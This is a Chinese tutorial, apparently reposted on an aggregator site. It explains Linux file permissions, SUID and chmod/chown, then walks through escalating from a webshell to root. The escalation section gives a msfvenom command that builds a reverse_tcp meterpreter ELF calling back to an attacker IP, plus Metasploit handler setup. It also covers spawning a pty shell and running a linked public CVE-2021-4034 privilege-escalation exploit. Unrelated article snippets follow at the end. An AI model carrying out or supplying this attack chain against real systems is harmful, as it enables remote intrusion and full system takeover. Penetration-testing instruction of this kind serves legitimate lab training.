从web漏洞到linux权限提升

news2024/11/18 5:50:57

从web漏洞到linux权限提升

  • 一、Linux系统介绍与使用
  • 二、Linux权限说明
    • 2.1、文件权限
    • 2.2、linux文件、目录权限说明
  • 三、权限提升

一、Linux系统介绍与使用

  • linux-全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,是基于POSIXI的多用户、多任务、支持多线程和多CPU的操作系统。能运行主要的Unix工具软件、应用程序和网络协议。支持32位和64位硬件。
  • Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Lniux有上百种不同的发行版,如基于社区开发的debian、archlinux,和基于商业开发的Red Hat Enterprise Linux、SUSE、Oracle Linux等。

二、Linux权限说明

  • 当我们使用kali用户登录系统后可以发现我们无法进入一些目录和查看一些文件,会提醒我们权限不够,那我们就只能切换为root用户才能进行访问。
  • 可见在Linux系统中的用户权限时非常重要的,在inux中存在多个用户,多种用户他们互相工作时是不会相互造成影响的。

在这里插入图片描述

2.1、文件权限

文件的权限针对三类对象进行定义:

  • owner 属主,缩写u – 创建这个文件的用户,所有人
  • group 属组,缩写g – 创建这个文件的所属用户存在的组(默认创建一个用户会生成一个组,以用户的名字去进行命名)
  • other 其他,缩写o – 其他的用户所有人
  • 每个文件针对每类访问者定义了三种主要权限:
    • rRead 读
    • wWrite 写
    • x:eXecute 执行

X:针对目录加执行权限,文件不加执行权限(因文件具备执行权限有安全隐患)
注意:root账户不受文件权限的读写限制,执行权限受限制

2.2、linux文件、目录权限说明

  • 文件权限

    • r 读取文件内容
    • w 修改文件内容
    • x 执行权限 //对除二进制以外的文件没有什么意义
  • 目录权限

    • r 查看目录下的文件列表
    • w 删除和创建目录下的文件
    • x 可以cd进入目录,能查看目录中的详细属性,能访问目录中的文件内容(基础权限)
  • 权限对应数字及读取规则

    • r 读 数字表示形式为4
    • w 写 数字表示形式为2
    • x 执行 数字表示形式为1
    • chmod
  • 可组合利用,则给予读写权限表示为6,读写执行权限为7以此类推可相加使用。

  • 用户获取文件权限的顺序:先看是否为所有者,如果是,则后面权限不看;再看是否为所属组,如果是,则后面权限不看。

chomd o+w 1.txt  #other,其他人对文件1.txt多了写的权限
  • 特殊权限suid权限

    • 作用:给一个用户继承二进制程序所有者拥有的权限(可以暂时借用root权限)
    • suid权限位位于所有者的执行权限位上,如果一个文件具有suid权限,则所有者执行位为s,文件表现为红色背景
    • 实例如下:
      在这里插入图片描述
    • suid 只适合作用在二进制程序上。
  • chmod命令修改权限

    • 权限管理命令:chmod
    • 命令名称:chmod
    • 命令英文原意:change the permissions mode of a file
    • 命令所在路径:/bin/chmod
    • 执行权限:chmod【{ugoa}{+-=}【文件或目录】
      • 【mode=421】【文件或目录】 -R 递归修改
    • 功能描述:改变文件或目录权限
    • 范例:
      • $chmod g+w testfile 赋予文件testfile所属组写权限
      • $chmod -R 777 testdir 修改目录testfile及目录下文件为所有用户具有全部权限
    • 赋予特殊权限suid chmod u+s file 数字表示:chmod 4755 file
  • chown命令修改所有者权限

    • 权限管理命令:chown
    • 命令名称:chown
    • 命令英文原意:change file ownership
    • 命名所在路径:/bin/chown
    • 执行权限:所有用户
    • 语法:chown 【用户】【文件或目录】
    • 功能描述:改变文件或目录的所有者
    • 范例:$chown yiye fengjie 改变文件fengjie的所有者为yiye

三、权限提升

假设已经上传shell.php的一句话木马文件到目标主机的网站根目录,并且使用蚁剑成功连接。

在这里插入图片描述
在这里插入图片描述

1、生成Linux的后门木马文件。

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.9.148 lport=10010 -f elf -o yiye.elf

在这里插入图片描述

2、通过蚁剑上传木马文件到目标主机。

在这里插入图片描述

3、通过蚁剑赋予木马文件执行权限。

在这里插入图片描述

4、通过msf控制台配置监听器。

┌──(root㉿kali)-[~/Desktop]
└─# msfconsole                                                                                      
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options 

msf6 exploit(multi/handler) > set lhost 192.168.9.148
lhost => 192.168.9.148
msf6 exploit(multi/handler) > set lport 10010

在这里插入图片描述
在这里插入图片描述

5、开启监听。

在这里插入图片描述

6、通过蚁剑运行木马程序。

在这里插入图片描述

7、获得会话,权限不够需要提升。

在这里插入图片描述
8、通过漏洞cve20210-4034进行提权。

  • 漏洞exp地址 https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip

9、将文件上传。

在这里插入图片描述

10、通过kali输入shell进入目标交互系统。

在这里插入图片描述

11、使用python语句 python3 -c 'import pty;pty.spawn("/bin/bash")' 获取交互shell。

在这里插入图片描述

12、使用python执行提权脚本。

python3 cve2021-4034.py

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/837727.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于Monkey稳定性测试,这是我看到最详细的文章

通过随机点击屏幕一段时间,看看app会不会崩溃,能不能维持正常运行,这就是稳定性测试。 01、Monkey是什么 Monkey测试是Android平台自动化测试的一种手段,通过Monkey程序模拟用户触摸屏幕、滑动Trackball、按键等操作来对设备上的…

8.4 作业

1.思维导图 2.判断家目录下,普通文件的个数和目录文件的个数 #!/bin/bash count10 count20 cd ~ for i in $(ls) doif [ -f "$i" ]thencount1$((count11))elif [ -d "$i" ]then count2$((count21))fi done echo $count1 echo $count2 3.输入一…

MySQL数据库免安装版

MySQL数据库免安装 1.安装配置启动 MySQL现在的版本主要分为: 5.x 版本,现在互联网企业中的主流版本,包括:头条、美图、百度、腾讯等互联网公司主流的版本。8.x 版本,新增了一些了窗口函数、持久化配置、隐藏索引等其他功能。所以,我们课程会以常用大版本中最新的版本为…

Camunda BPM Run下载(7.20)

官网地址: https://camunda.com/ 中文站点:http://camunda-cn.shaochenfeng.com https://downloads.camunda.cloud/release/camunda-bpm/run/7.20/https://downloads.camunda.cloud/release/camunda-bpm/run/7.20/camunda-bpm-run-7.20.0-alpha3.ziphttps://downloads.camunda…

科技云报道:震惊!4K、8K画质背后,竟然少不了AI的助力

科技云报道原创。 “对于视频的画质,我现在最低只能够接受720P,最好是1080p。”早五年前,身边就已经有人提出了这样的要求。 随着科技的进步,我们进入了一个视频内容快速增长的时代。从社交媒体到在线教育,从直播购物…

JS解析JSON

在 JavaScript 中解析 JSON 数据 在 JavaScript 中,您可以使用 JSON.parse() 方法来解析 JSON 数据,示例代码如下: var json {"course": {"name": "JavaScript","author": "http://c.bianch…

拉普拉斯平滑算法

原理 最简单的拉普拉斯平滑算法的原理是将每个顶点都移动到相邻顶点的平均位置上。公式 示例(UE5代码片段) 参考 https://blog.csdn.net/mrbaolong/article/details/105859109

MyBatis-动态SQL-if and where

动态SQL 随着用户的输入或外部条件的变化而变化的SQL语句,我们称之为动态SQL语句 select *from empwhere name like concat(%, #{name}, %)and gender #{gender}and entrydate between #{begin} and #{end}order by update_time desc; 在上述的SQL语句…

运输层---概述

目录 运输层主要内容一.概述和传输层服务1.1 概述1.2 传输服务和协议1.3 传输层 vs. 网络层1.4 Internet传输层协议 二. 多路复用与多路分解(解复用)2.1 概述2.2 无连接与面向连接的多路分解(解复用)2.3面向连接的多路复用*2.4 We…

⌈C++⌋从无到有了解并掌握C++面向对象三大特性——封装、继承、多态

前置知识:类和对象 参考书籍:《C Primer 第五版》 目录 什么是面向过程?什么是面向对象? 一、封装 1、封装的含义以及如何实现封装 1.1 访问限定符(访问说明符) 1.2 什么是封装? 2、封装的优点…

MySQL~mysql基础应用相关题

整卷阅览: 想要获取试卷原版请点击以下链接下载: https://download.csdn.net/download/qq_53142796/88168133https://download.csdn.net/download/qq_53142796/88168133 解题过程: 数据库:studentdb 数据库表如下: …

数学建模-元胞自动机

clc clear n 300; % 定义表示森林的矩阵大小 Plight 5e-6; Pgrowth 1e-2; % 定义闪电和生长的概率 UL [n,1:n-1]; DR [2:n,1]; % 定义上左,下右邻居 vegzeros(n,n); % 初始化表示森林的矩阵 imh ima…

01-序言

文章作者:里海 来源网站:https://blog.csdn.net/WangPaiFeiXingYuan 简介: 此专栏是学习“线性代数”课程做的笔记,教程来自B站的3Blue1Brown​​​​​​​d​​​​​​​。 视频作者是Grant Sanderson, 他本人是斯坦…

【蓝图】p48冲刺、瞬移、多段跳

p48冲刺,瞬移,多段跳 p48冲刺,瞬移,多段跳冲刺功能实现瞬移功能实现Set Actor Location(设置Actor位置) 二段跳 p48冲刺,瞬移,多段跳 按shift加速,松开shift恢复普通速度…

echarts-pie---------3D曲状环形饼图实现!!!

示例(参考此处饼图修改https://www.isqqw.com/viewer?id37497) 话不多说直接上代码 此套代码可以直接再echarts官网中的此处运行 let selectedIndex ; let hoveredIndex ; option getPie3D([{name: 数学,value: 60,itemStyle: {color: #1890FF,},},{…

Vue2 第二十节 vue-router (一)

1.相关概念理解 2.基本路由 3.嵌套路由(多级路由) 一.相关概念理解 1.1 vue-router的理解 路由:就是一组key-value的对应关系, key为路径,value可能是function或者component多个路由,需要经过路由器的管理编程中的…

【树状数组】讲解

一.介绍 树状数组(Fenwick Tree),也称为二叉索引树(Binary Indexed Tree,BIT),是一种用于高效处理动态数组前缀和的数据结构。它可以在O(log n)的时间复杂度内完成单点更新和区间查询操作。 树…

【Python】模块学习之locust性能测试

目录 背景 安装 测试代码 运行命令 资料获取方法 背景 locust是一个python的第三方库,用于做性能测试,可使用多台机器同时对一台服务器进行压测,使用其中一台机器作为主节点,进行分布式管理 博主测试接口的时候一直是使用p…

boost beast http server 测试

boost beast http client boost http server boost beast 是一个非常好用的库&#xff0c;带上boost的协程&#xff0c;好很多东西是比较好用的&#xff0c;以下程序使用四个线程开启协程处理进入http协议处理。协议支持http get 和 http post #include <boost/beast/cor…

Windows 系统无法复制粘贴则么处理

Windows 系统无法复制粘贴如何恢复呢&#xff1f; 今天小编遇到一个问题&#xff0c;就是自己的电脑突然无法复制、粘贴&#xff0c;这样的问题我遇到很多次&#xff0c;重启电脑虽然能解决问题&#xff0c;但是不能一直通过重启来解决这样的问题&#xff0c;很浪费时间的。今…